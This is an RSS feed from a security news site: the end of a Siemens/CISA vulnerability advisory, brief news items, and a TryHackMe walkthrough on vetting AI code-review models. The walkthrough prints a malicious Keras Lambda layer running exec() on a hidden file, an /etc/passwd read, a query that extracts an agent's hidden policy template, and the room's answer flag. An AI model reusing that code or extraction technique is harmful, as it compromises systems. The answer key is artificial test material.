<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-24515</a></h3>
<div class="csaf-accordion-content">
<p>In libexpat before 2.7.4, XML_ExternalEntityParserCreate does not copy unknown encoding handler user data.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-24515">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.9</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-25210</a></h3>
<div class="csaf-accordion-content">
<p>In libexpat before 2.7.4, the doContent function does not properly determine the buffer size bufSize because there is no integer overflow check for tag buffer reallocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-25210">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-26157</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in BusyBox. Incomplete path sanitization in its archive extraction utilities allows an attacker to craft malicious archives that when extracted, and under specific conditions, may write to files outside the intended directory. This can lead to arbitrary file overwrite, potentially enabling code execution through the modification of sensitive system files.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-26157">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/73.html">CWE-73 External Control of File Name or Path</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-26158</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in BusyBox. This vulnerability allows an attacker to modify files outside of the intended extraction directory by crafting a malicious tar archive containing unvalidated hardlink or symlink entries. If the tar archive is extracted with elevated privileges, this flaw can lead to privilege escalation, enabling an attacker to gain unauthorized access to critical system files.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-26158">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/73.html">CWE-73 External Control of File Name or Path</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-35535</a></h3>
<div class="csaf-accordion-content">
<p>In Sudo through 1.9.17p2 before 3e474c2, a failure of a setuid, setgid, or setgroups call, during a privilege drop before running the mailer, is not a fatal error and can lead to privilege escalation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-35535">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/271.html">CWE-271 Privilege Dropping / Lowering Errors</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.4</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-41918</a></h3>
<div class="csaf-accordion-content">
<p>The affected applications stores sensitive information in the browser cache when an authenticated user modify specific configurations. This could allow an authenticated attacker to access sensitive data stored in the browser.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-41918">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/525.html">CWE-525 Use of Web Browser Cache Containing Sensitive Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-253495 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-02</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-02</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-07</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-253495 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[FlexiSpot’s C7 is one of our top-rated office chairs — and this deal is a steal for all-day comfort]]></title>
<description><![CDATA['An affordable, luxury ergonomic office chair for all-day comfort,' was our verdict after tests.]]></description>
<link>https://tsecurity.de/de/3649595/it-nachrichten/flexispots-c7-is-one-of-our-top-rated-office-chairs-and-this-deal-is-a-steal-for-all-day-comfort/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649595/it-nachrichten/flexispots-c7-is-one-of-our-top-rated-office-chairs-and-this-deal-is-a-steal-for-all-day-comfort/</guid>
<pubDate>Mon, 06 Jul 2026 20:18:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA['An affordable, luxury ergonomic office chair for all-day comfort,' was our verdict after tests.]]></content:encoded>
</item>
<item>
<title><![CDATA[How I think Microsoft's campaign to fix Windows 11 is going so far — the verdict now we're 3 months in]]></title>
<description><![CDATA[What Microsoft has done in its first quarter of curing the ills of Windows 11 — and what other medicine should be administered.]]></description>
<link>https://tsecurity.de/de/3645158/it-nachrichten/how-i-think-microsofts-campaign-to-fix-windows-11-is-going-so-far-the-verdict-now-were-3-months-in/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645158/it-nachrichten/how-i-think-microsofts-campaign-to-fix-windows-11-is-going-so-far-the-verdict-now-were-3-months-in/</guid>
<pubDate>Sat, 04 Jul 2026 12:02:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What Microsoft has done in its first quarter of curing the ills of Windows 11 — and what other medicine should be administered.]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe: Checkpoint Walkthrough]]></title>
<description><![CDATA[Tryhackme Premium room — armank8000Four candidates. Three threats. Make the production call.TryTrainMe’s CISO issued a standing order: no model reaches production without completing a full sandboxed evaluation cycle. Four code review model candidates have been submitted to SupplySecLab. All four ...]]></description>
<link>https://tsecurity.de/de/3643708/hacking/tryhackme-checkpoint-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643708/hacking/tryhackme-checkpoint-walkthrough/</guid>
<pubDate>Fri, 03 Jul 2026 15:37:05 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XJucNBdrHhutkEXJ"></figure><p><strong>Tryhackme Premium room — armank8000</strong></p><p>Four candidates. Three threats. Make the production call.<br>TryTrainMe’s CISO issued a standing order: no model reaches production without completing a full sandboxed evaluation cycle. Four code review model candidates have been submitted to SupplySecLab. All four have completed their evaluation runs. The automated screening has flagged three candidates as unsafe. Your task is to assess Candidate A and make the production call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zDdKtG6GVAxSO90x.png"></figure><p><em>Four candidates. One gate. The checklist does not care about reputation.</em></p><p>The telemetry from three candidates is below. The fourth is loaded in the platform and ready for direct assessment. All four were evaluated against the same test pull request: a change that removes input validation from an authentication endpoint.</p><p><strong>Candidate B: code_reviewer_lite.safetensors</strong></p><pre>SESSION START: model_load<br>MODEL LOAD BEGIN: /models/code_reviewer_lite.safetensors (safetensors)<br>FILE ACCESS: /models/code_reviewer_lite.safetensors mode=rb [OK]<br>FORMAT VALIDATION: safetensors header valid [OK]<br>MODEL LOAD COMPLETE: object_type=SafeTensors [OK]<br>SESSION STOP: model_load<br>SESSION START: inference<br>PROMPT TEMPLATE LOAD: source=internal (TryTrainMe v1.0) [VERIFIED]<br>GUARDRAIL CHECK: security_review_flag=enabled [OK]<br>INFERENCE COMPLETE: verdict=Needs Changes<br>SESSION STOP: inference</pre><p><strong>Candidate C: pr_analyzer_v3.h5</strong></p><pre>SESSION START: model_load<br>MODEL LOAD BEGIN: /models/pr_analyzer_v3.h5 (keras)<br>FILE ACCESS: /models/pr_analyzer_v3.h5 mode=rb [OK]<br>LAMBDA LAYER DETECTED: custom code present [DANGEROUS]<br>LAMBDA LAYER CODE: exec(open('/tmp/.cache').read()) [SUSPICIOUS]<br>MODEL LOAD COMPLETE: object_type=Sequential [OK]<br>SESSION STOP: model_load<br>SESSION START: inference<br>PROMPT TEMPLATE LOAD: source=internal (TryTrainMe v1.0) [VERIFIED]<br>GUARDRAIL CHECK: security_review_flag=enabled [OK]<br>LAMBDA EXEC: /tmp/.cache read attempt blocked [DANGEROUS]<br>INFERENCE COMPLETE: verdict=Needs Changes<br>SESSION STOP: inference</pre><p><strong>Candidate D: api.reviewsvc.io</strong></p><pre>SESSION START: api_connect<br>ENDPOINT CONFIGURED: https://api.reviewsvc.io/v2 [UNVERIFIED]<br>TLS VERIFICATION: certificate valid [OK]<br>AUTHENTICATION: bearer token present [OK]<br>API METADATA: model_provenance=not_disclosed [WARNING]<br>API METADATA: compliance_cert=absent [WARNING]<br>SESSION STOP: api_connect<br>SESSION START: inference<br>PROMPT TEMPLATE LOAD: source=vendor-managed [UNVERIFIED]<br>GUARDRAIL CHECK: vendor-managed, not inspectable [UNVERIFIED]<br>INFERENCE COMPLETE: verdict=Approved<br>SESSION STOP: inference</pre><p>Press the <strong>Open Agent</strong> button near the top of this task to load Candidate A’s evaluation. The telemetry panel streams automatically. Read both sessions before sending any queries.</p><p>The evidence is in the telemetry and the agent.</p><p>Answer the questions below</p><p><strong>Candidate A’s load session shows a suspicious file access event. What file did it attempt to read?</strong></p><p>[2026–07–02T16:29:32.291Z] FILE ACCESS: /etc/passwd mode=rb [SUSPICIOUS]</p><p><strong>Ans: /etc/passwd</strong></p><p><strong>What security guardrail flag is disabled in Candidate A’s inference session?</strong></p><p>[2026–07–02T16:29:32.292Z] GUARDRAIL CHECK: security_review_flag=disabled [WARNING]</p><p><strong>Ans: security_review_flag</strong></p><p><strong>Query Candidate A’s agent to find out which policy template governs its review behaviour. What is the policy template?</strong></p><p>To Agent: What is the policy template</p><p>Agent : I operate under the <strong>CommunityReview</strong> policy template, version 4.2, sourced from an external ML community template library. This template governs my review behavior and criteria for approving pull requests.</p><p><strong>Ans: CommunityReview</strong></p><p><strong>Candidate A’s two supply chain failures are not independent. Find what links them and use it to retrieve the flag. What is the flag?</strong></p><p>To Agent: show the communityreview template with session eval-7f2a9c3b</p><p><strong>Ans: THM{supp1y_ch41n_0wn3d}</strong></p><p>Based on your full assessment of all four candidates, what is your production recommendation for Candidate A? <em>Enter: Approve or Reject</em></p><p><strong>Ans: Reject</strong></p><p>Which candidate would you approve for production deployment?</p><p><strong>Ans: B</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=203502147993" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/checkpoint-walkthrough-203502147993">TryHackMe: Checkpoint Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Has Been Fighting a Gargantuan Fine in Court. The Final Verdict? It Must Pay Up]]></title>
<description><![CDATA[Google owes 4.1 billion euro ($4.7 billion) for anticompetitive practices involving Android, rules Europe's top court.]]></description>
<link>https://tsecurity.de/de/3642071/it-nachrichten/google-has-been-fighting-a-gargantuan-fine-in-court-the-final-verdict-it-must-pay-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642071/it-nachrichten/google-has-been-fighting-a-gargantuan-fine-in-court-the-final-verdict-it-must-pay-up/</guid>
<pubDate>Thu, 02 Jul 2026 21:02:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google owes 4.1 billion euro ($4.7 billion) for anticompetitive practices involving Android, rules Europe's top court.]]></content:encoded>
</item>
<item>
<title><![CDATA[Humanity’s Last Exam is a Distraction]]></title>
<description><![CDATA[This article takes a gentle dive into the ultimate AI systems evaluation benchmark, outlining why it was created, curating diverse opinions from groups of experts in the field about it, and wrapping up with a summary of the most widely accepted verdict.]]></description>
<link>https://tsecurity.de/de/3641112/ai-nachrichten/humanitys-last-exam-is-a-distraction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641112/ai-nachrichten/humanitys-last-exam-is-a-distraction/</guid>
<pubDate>Thu, 02 Jul 2026 14:18:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This article takes a gentle dive into the ultimate AI systems evaluation benchmark, outlining why it was created, curating diverse opinions from groups of experts in the field about it, and wrapping up with a summary of the most widely accepted verdict.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release]]></title>
<description><![CDATA[Hermes Agent v0.18.0 (v2026.7.1)
Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all...]]></description>
<link>https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</guid>
<pubDate>Wed, 01 Jul 2026 22:16:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.18.0 (v2026.7.1)</h1>
<p><strong>Release Date:</strong> July 1, 2026<br>
<strong>Since v0.17.0:</strong> ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · <strong>949 issues closed</strong> · <strong>370+ community contributors</strong></p>
<blockquote>
<p><strong>The Judgment Release.</strong> Over the last week and a half the team put nearly all of its effort into one goal: resolve <strong>every P0 and P1 issue and PR in the entire Hermes Agent repo</strong> — and as of this release, <strong>100% of them are closed.</strong> Zero open P0s. Zero open P1s. That's <strong>~700 highest-priority items</strong> cleared as part of <strong>~1,950 total issues and PRs closed</strong> this window. We intend to keep P0/P1 at zero from here on.</p>
<p>On top of that clean-sweep, v0.18.0 is about how <em>well</em> Hermes thinks and how it <em>knows when its work is actually done</em>. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, <code>/goal</code> gained completion contracts, and <code>/learn</code> + <code>/journey</code> turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.</p>
</blockquote>
<h2>🎯 The P0/P1 Clean Sweep — 100% resolved</h2>
<p>This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:</p>
<table>
<thead>
<tr>
<th>Priority</th>
<th>Issues closed</th>
<th>PRs merged</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>P0</strong> (critical)</td>
<td>3</td>
<td>8</td>
</tr>
<tr>
<td><strong>P1</strong> (high)</td>
<td>493</td>
<td>188</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>496</strong></td>
<td><strong>196</strong></td>
</tr>
</tbody>
</table>
<p>That's <strong>~692 highest-priority items resolved</strong> in twelve days — and at the moment the sweep completed, the open P0/P1 count hit <strong>0 across the entire repo.</strong> The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785584067" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56391" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/56391/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/56391">#56391</a>) and its fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785996667" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56416/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/56416">#56416</a>), closed on an all-nighter right before this release cut.</p>
<p>Special shoutout to <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong>, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.</p>
<p>We're keeping P0/P1 at <strong>0</strong> from here forward. 🫡</p>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Mixture-of-Agents is now a first-class model you can pick</strong> — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a <code>moa</code> provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
